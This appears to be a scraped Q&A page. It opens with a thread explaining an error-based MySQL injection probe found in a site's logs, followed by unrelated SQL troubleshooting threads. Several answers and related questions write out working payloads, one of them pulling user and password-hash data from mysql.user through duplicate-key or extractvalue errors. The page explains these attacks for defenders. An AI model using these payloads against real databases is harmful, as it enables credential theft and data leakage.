SQL Injection attack - What does this do? - mysql

I have detected some failed SQL injection attacks on my website.
The failed queries are of the form:
SELECT 6106 FROM(SELECT COUNT(*),':sjw:1:ukt:1'x FROM
information_schema.tables GROUP BY x)
The ':sjw:1:ukt:1' part is specially constructed with variables concatenated together to give random 0s or 1s etc.
I would like to know what these queries do?
The database is MySQL.
Update: Here is the original injected SQL:
(SELECT 6106
FROM (SELECT COUNT(*),
CONCAT(
CHAR(58, 115, 106, 119, 58),
(SELECT ( CASE WHEN ( 6106 = 6106 ) THEN 1 ELSE 0 END )),
CHAR(58, 117, 107, 116, 58),
FLOOR(RAND(0) * 2)
) x
FROM INFORMATION_SCHEMA.TABLES
GROUP BY x)a)
It fails with message
Duplicate entry ':sjw:1:ukt:1' for key 'group_key'

What the attack really does
There is a subtle but clever detail about this attack that other answerers missed. Notice the error message Duplicate entry ':sjw:1:ukt:1' for key 'group_key'. The string :sjw:1:ukt:1 is actually the result of an expression evaluated by your MySQL server. If your application sends the MySQL error string back to the browser, then the error message can leak data from your database.
This kind of attack is used in cases where the query result isn't otherwise sent back to the browser (blind SQL injection), or when a classical UNION SELECT attack is complicated to pull off. It also works in INSERT/UPDATE/DELETE queries.
As Hawili notes, the original particular query wasn't supposed leak any information, it was just a test to see whether your application is vulnerable to this kind of injection.
The attack didn't fail like MvG suggested, causing this error is the purpose of the query.
A better example of how this may be used:
> SELECT COUNT(*),CONCAT((SELECT CONCAT(user,password) FROM mysql.user LIMIT 1),
> 0x20, FLOOR(RAND(0)*2)) x
> FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key 'group_key'
Why the error is raised
Why the query causes this error in MySQL is somewhat of a mystery for me. It looks like a MySQL bug, since GROUP BY is supposed to deal with duplicate entries by aggregating them. Hawili's simplification of the query doesn't, in fact, cause the error!
The expression FLOOR(RAND(0)*2) gives the following results in order, based on the random seed argument 0:
> SELECT FLOOR(RAND(0)*2)x FROM information_schema.tables;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 | <-- error happens here
| 0 |
| 1 |
| 1 |
...
Because the 3rd value is a duplicate of the 2nd, this error is thrown. Any FROM table with at least 3 rows can be used, but information_schema.tables is a common one. The COUNT(*) and GROUP BY parts are necessary to provoke the error in MySQL:
> SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
This error doesn't occur in the PostgreSQL-equivalent query:
# SELECT SETSEED(0);
# SELECT COUNT(*),FLOOR(RANDOM()*2)x FROM information_schema.tables GROUP BY x;
count | x
-------+---
83 | 0
90 | 1
(Sorry about answering 1 year late, but I just stumbled upon this today. This question is interesting to me because I wasn't aware there are ways to leak data via error messages from MySQL)

Executing the parenthesized subquery will give you the number of tables in your system. I guess the main aim might be to create queries and see where in the generated HTML the output appears. Thus the random string. The outer SELECT is invalid, as its subquery doesn't have an alias name. So I assume that this incorrectness was the cause this attack failed. They might have been trying to see what syntactic constructs they can inject and which will break the query.

Select will just output the number, so the answer is always 6106 in your case
SELECT COUNT(*),':sjw:1:ukt:1'x FROM information_schema.tables GROUP BY x
should give a different answer, it will give count of tables in system plus the random text inserted under name x, thats all
In short its a meaningless query, the result for the internal query is never shown, the result of the whole query is predetermined , seems the injection is somehow automated to log the attack using this strange way

Related

Unexpected MYSQL UNION and extractvalue behaviour

I was attempting an error-based sql injection when I discovered a weird behavior that I can't explain. Here is a simple example:
SELECT * FROM users WHERE username = '' union SELECT extractvalue(rand(),concat(0x3a,(SELECT 1)));
Output: ERROR 1105 (HY000): XPATH syntax error: ':1'
But...
SELECT * FROM users WHERE username = '' union SELECT extractvalue(rand(),concat(0x3a,(SELECT 1 FROM users)));
Output: ERROR 1222 (21000): The used SELECT statements have a different number of columns
Now the second result is expected, because my users table have 3 columns. The first example is the one I don't understand.
Tested on 5.7.23-0ubuntu0.16.04.1
From what I could tell from messing around with it, because you are using a subquery, the expression is being evaluated in a different order. If you do this:
SELECT some_col FROM users WHERE username = '' union SELECT extractvalue(rand(),concat(0x3a,(SELECT 1 FROM users LIMIT 1)));
Essentially resolving the "different number of columns" exception, I think you'll get the same error as the first line again. At least in my testing, that's what happened. I guess it has to do with when the subquery is evaluated, cause that has to happen before the extractvalue() call can be completed.
I'm also pretty sure mysql doesn't read "SELECT 1" as a subquery, but rather probably just discards the "SELECT" entirely.

Error when using sql query containing IFNULL and serial number column in Phoenix

I have a SQL query as follows:
Select
#sl:=#sl+1 as slNum,
IFNULL(startTime,'-'),
from
race,
(Select #s1:=0) x ;
I get the desired result when i run the above query in mysql, but I want to execute the same query on Phoenix for the table stored in Hbase.
I get the following error for #sl:
org.apache.phoenix.exception.PhoenixParserException: ERROR 601 (42P00): Syntax error. Encountered "#" at line 'x', column 'y'.
Caused by: NoViableAltException(15#[])
And when I comment out the serial number, i get this:
org.apache.phoenix.exception.PhoenixParserException: ERROR 603 (42P00): Syntax error. Unexpected input. Expecting "LPAREN", got "IFNULL" at line x2, column y2.
Caused by: UnwantedTokenException(found=IFNULL, expected 91)
Does Phoenix not support them or is there some other way of doing this?
Any suggestions will be helpful.
I don't know whether or not Phoenix supports dynamic SQL, but there is a way to generate row number without dynamic SQL:
SELECT
COALESCE(r1.startTime, '-') AS startTime
(SELECT COUNT(*) FROM race r2 WHERE r2.startTime <= r1.startTime) slNum
FROM race r1;
I assume that the start time provides the ordering. Your current logic is not well defined using row number without an ordering. You may replace startTime with another column in the WHERE clause of my subquery.

Error-based SQL-injection doesn't work on my MySQL DB

I try to perform an SQL-injection that based on Duplicate entry error. It was well described here. But in my case it works only for several columns, not for all. For example it works for id column and doesn't work for login column of users table. I can also extract such info as version() using this approach. But why this can't work for any columns?
Examples:
This works and throws Duplicate Entry error as supposed:
SELECT COUNT(*),
CONCAT((SELECT CONCAT(users.id)
FROM crm.users LIMIT 1), 0x20, FLOOR(RAND(0)*2)) x
FROM information_schema.tables GROUP BY x
But this doesn't work:
SELECT COUNT(*),
CONCAT((SELECT CONCAT(users.login)
FROM crm.users LIMIT 1), 0x20, FLOOR(RAND(0)*2)) x
FROM information_schema.tables GROUP BY x
The only difference is column name. But second example returns a table like this instead of error:
COUNT(*) x
157 admin 0
128 admin 1
No errors in second case. What is the reason?

Count returns 0 for a column that exists

So i have a MySQL table that contains 2 fields - deviceID and jobID. Below is a sample of what the table looks like with Data in it:
+----------------------+----------------------+
| deviceID | jobID |
+----------------------+----------------------+
| f18204efba03a874bb9f | be83dec5d120c42a6b94 |
| 49ed54279fb983317051 | be83dec5d120c42a6b94 |
+----------------------+----------------------+
Usually i run a query that looks a little like this:
SELECT Count(deviceID)
FROM pendingCollect
WHERE jobID=%s AND deviceID=%s
Now this runs fine and usually returns a 0 if the device doesnt exist with the specified job, and 1 if it does - which is perfectly fine. HOWEVER, for some reason - im having problems with thew second row. The query:
SELECT Count(deviceID)
FROM pendingCollect
WHERE jobID='be83dec5d120c42a6b94' AND deviceID='49ed54279fb983317051'
is returning 0 for some reason - Even though the data exists in the table3 and the count should be returned as 1, it is returning as 0... Any ideas why this is?
thanks in Advance
EDIT:
Sorry for the type guys! The example SQL query shouldnt have had the same devID and jobID.. My Mistake
EDIT 2:
Some people are suggesting i use the SQL LIKE operator.... Is there a need for this? Again, when i run the following query, everything runs fine and returns 1. It only seems to be on the deviceID "49ed54279fb983317051" that is returning the error...
SELECT Count(deviceID)
FROM pendingCollect
WHERE jobID='be83dec5d120c42a6b94' AND deviceID='f18204efba03a874bb9f'
The above query works as expected returning 1
You need to provide the correct value for jobID. Presently you are providing the value of deviceID in jobID which is not matching and hence returing 0 rows.
SELECT Count(deviceID) FROM pendingCollect
WHERE jobID='49ed54279fb983317051' AND deviceID='49ed54279fb983317051'
^^^^^^^^^^^^^^^^^^^^^^^
The reason why
jobID=%s and deviceID=%s
which I think you mean
jobID like '%s' and deviceID like '%s'
was working because both were matching. But now since you are using the AND condition and providing jobID value same for both so it would not match any row. And will return 0 rows.
EDIT:
You query seems to be correct and is giving giving the correct result.
SQL FIDDLE DEMO
You need to check if there is any space which is getting added to the values for the jobID and deviceID column.
This is because of the AND operator. AND means both conditions must be true. Instead of AND, use OR operator.
SELECT Count(deviceID)
FROM pendingCollect
WHERE jobID = '49ed54279fb983317051' OR deviceID = '49ed54279fb983317051'
Check the real value the column contains, there might be some unprintable character in it:
SELECT deviceID, hex(deviceID), hex('49ed54279fb983317051')
FROM pendingCollect
WHERE jobID='be83dec5d120c42a6b94';
If there is anything weird in that deviceID, it should show as a difference in the hex output - for the value you want, I did not add it to the where condition as you have problems "targeting" it, so this query will return rows even for the other devices with the same jobID.

Why do I have to cast a bit(1) as unsigned in a mysql subquery?

For some reason I have to explicitly cast a BIT(1) MySQL column as UNSIGNED in order to get back a 0 or 1 IF I include that column as part of a subquery but not as a "normal" query. Allow me to elaborate...
I have two database tables: contests and votes
CONTESTS - id, ..., ...
VOTES - ..., over BIT(1), ..., ...
If I run this query I get results I would expect...
SELECT votes.over as vote_over FROM votes WHERE votes.contest_id = 38;
Result:
vote_over: 1 (ok, this makes sense)
If, however, I try to select votes.over as a subquery, I get a curious result...
SELECT contests.id as contest_id,
(SELECT over FROM votes WHERE votes.contest_id = contests.id) as vote_over
FROM contests
where contests.id = 38;
Result:
contest_id: 38
vote_over: 49 (WHAT?)
Why is vote_over (a bit column) 49 if it's a subquery, but 1 if it's included in the vanilla query above??! And what is the significance of 49? Why not 2377? 49 is 110001 and this problem would make a little more sense if I had defined the 'over' column as a bit(6) type, but it's a bit(1). This makes no sense!
After some futzing around, I happened upon this query that gave me what I wanted...
SELECT `contests`.id as contest_id,
(SELECT cast(`votes`.over as unsigned) FROM (`votes`) WHERE votes.contest_id = contests.id)
FROM (`contests`) as vote_over
where contests.id = 38;
Result:
contest_id: 38
vote_over: 1
So while I've found a way to get what I wanted out of the query, I don't understand why casting the vote_over result as unsigned makes a difference ONLY in a subquery.
Additional info: I'm running these queries on a MySQL 5.6.14 instance on my laptop. Obviously these queries are just hypotheticals to illustrate the problem I've isolated. They don't make much sense by themselves and I typed them up in the course of debugging a much larger query where that subquery is necessary.
It seems like there's something fundamental that I don't understand about signing bits in subqueries that this problem is exposing. Please help!
This is because SELECT [bit_column] is not supposed to return a printable result set in the first place. You are just lucky that it sometimes returns something intelligible.
http://dev.mysql.com/doc/refman/5.6/en/bit-field-literals.html:
Bit values are returned as binary values. To display them in printable form, add 0 or use a conversion function such as BIN().
On my box, SELECT [bit_column] always returns non-printable characters.